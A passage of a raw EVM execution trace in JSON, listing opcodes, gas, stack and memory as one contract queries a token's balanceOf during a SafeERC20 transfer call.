000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2779,"op":"DUP4","gas":30443,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2780,"op":"SUB","gas":30440,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x184","0x1a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2781,"op":"DUP2","gas":30437,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2782,"op":"DUP7","gas":30434,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x24","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2783,"op":"GAS","gas":30431,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x24","0x184","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2784,"op":"STATICCALL","gas":30429,"gasCost":29956,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184","0x24","0x184","0x4c711efa05b78582f07d9d960b1dadde95688166","0x76dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":29856,"gasCost":3,"depth":3,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":29853,"gasCost":3,"depth":3,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":29850,"gasCost":12,"depth":3,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":29838,"gasCost":2,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":29836,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":29833,"gasCost":3,"depth":3,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":29830,"gasCost":3,"depth":3,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":29827,"gasCost":10,"depth":3,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":29817,"gasCost":1,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":29816,"gasCost":2,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":29814,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":29811,"gasCost":2,"depth":3,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":29809,"gasCost":3,"depth":3,"stack":["0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":29806,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":29803,"gasCost":10,"depth":3,"stack":["0x0","0x2ad"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":29793,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":29790,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":29787,"gasCost":3,"depth":3,"stack":["0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":29784,"gasCost":3,"depth":3,"stack":["0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c8","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":29781,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":29778,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":29775,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x7eee288d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":29772,"gasCost":3,"depth":3,"stack":["0x70a08231","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":29769,"gasCost":10,"depth":3,"stack":["0x70a08231","0x1","0x17b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":379,"op":"JUMPDEST","gas":29759,"gasCost":1,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":380,"op":"DUP1","gas":29758,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":381,"op":"PUSH4","gas":29755,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":386,"op":"GT","gas":29752,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x2472f5b0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":387,"op":"PUSH2","gas":29749,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":390,"op":"JUMPI","gas":29746,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x229"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":391,"op":"DUP1","gas":29736,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":392,"op":"PUSH4","gas":29733,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":397,"op":"GT","gas":29730,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x41f63bfd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":398,"op":"PUSH2","gas":29727,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":401,"op":"JUMPI","gas":29724,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x1dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":402,"op":"DUP1","gas":29714,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":403,"op":"PUSH4","gas":29711,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":408,"op":"GT","gas":29708,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":409,"op":"PUSH2","gas":29705,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":412,"op":"JUMPI","gas":29702,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x1c2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":413,"op":"DUP1","gas":29692,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":414,"op":"PUSH4","gas":29689,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":419,"op":"EQ","gas":29686,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":420,"op":"PUSH2","gas":29683,"gasCost":3,"depth":3,"stack":["0x70a08231","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":423,"op":"JUMPI","gas":29680,"gasCost":10,"depth":3,"stack":["0x70a08231","0x1","0x474"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1140,"op":"JUMPDEST","gas":29670,"gasCost":1,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1141,"op":"PUSH2","gas":29669,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1144,"op":"PUSH2","gas":29666,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1147,"op":"CALLDATASIZE","gas":29663,"gasCost":2,"depth":3,"stack":["0x70a08231","0x3ba","0x482"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1148,"op":"PUSH1","gas":29661,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1150,"op":"PUSH2","gas":29658,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1153,"op":"JUMP","gas":29655,"gasCost":8,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x2eb7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11959,"op":"JUMPDEST","gas":29647,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11960,"op":"PUSH1","gas":29646,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11962,"op":"PUSH1","gas":29643,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11964,"op":"DUP3","gas":29640,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11965,"op":"DUP5","gas":29637,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11966,"op":"SUB","gas":29634,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x20","0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11967,"op":"SLT","gas":29631,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11968,"op":"ISZERO","gas":29628,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11969,"op":"PUSH2","gas":29625,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11972,"op":"JUMPI","gas":29622,"gasCost":10,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1","0x2ec9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11977,"op":"JUMPDEST","gas":29612,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11978,"op":"DUP2","gas":29611,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11979,"op":"CALLDATALOAD","gas":29608,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11980,"op":"PUSH2","gas":29605,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11983,"op":"DUP2","gas":29602,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11984,"op":"PUSH2","gas":29599,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11987,"op":"JUMP","gas":29596,"gasCost":8,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2d8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11663,"op":"JUMPDEST","gas":29588,"gasCost":1,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11664,"op":"PUSH1","gas":29587,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11666,"op":"PUSH1","gas":29584,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11668,"op":"PUSH1","gas":29581,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11670,"op":"SHL","gas":29578,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11671,"op":"SUB","gas":29575,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11672,"op":"DUP2","gas":29572,"gasCost":3,"depth":3,"stack":["0x70a08231","0x3ba","0x482","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2ed4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","00000